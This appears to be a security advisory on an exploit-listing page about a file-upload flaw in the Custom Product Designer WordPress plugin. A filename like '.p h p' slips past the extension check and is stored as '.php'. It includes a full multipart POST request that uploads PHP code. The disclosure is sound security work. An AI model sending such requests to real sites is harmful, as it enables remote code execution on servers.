Share
## https://sploitus.com/exploit?id=WPEX-ID:82C52461-1FDC-41E4-9F51-F9DD84962B38
The Custom Product Designer plugin for WordPress offers the ability for customers to upload images and PDF files via the custom-image-handler.php. On sites running Apache, this file must be loaded via the “fpd_custom_uplod_file” AJAX action, whereas on sites running NGINX this file can be accessed directly, as the .htaccess rule blocking access to this file will not be processed on NGINX.

Regardless of how the file is accessed, it is possible to use the custom image handler to upload executable PHP files. This is possible because the FPD_Image_Utils::sanitize_filename method in fpd-image-utils checks for malicious extensions on the unsanitized version of the supplied filename. In other words, it’s possible to supply a file with a “filename” of “.p h p” or “.p-h-p”. Both of these pass the malicious file extension check, but are sanitized down to “.php”, and are added to the site in a filename with a unique id ending in PHP (e.g. 1d4609806ff0f4e89a3fb5fa35678fa0.php). 

An example POST body is listed below though it would be good to not display it until the vulnerability has been patched:
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="action"

fpd_custom_uplod_file
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="uploadsDir"

uploads
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="uploadsDirURL"

uploads
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="saveOnServer"

1
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="pdf"; filename="blah.p h p"
Content-Type: application/pdf

<?php phpinfo();
------WebKitFormBoundaryPq7qdNQ9shOFwW78--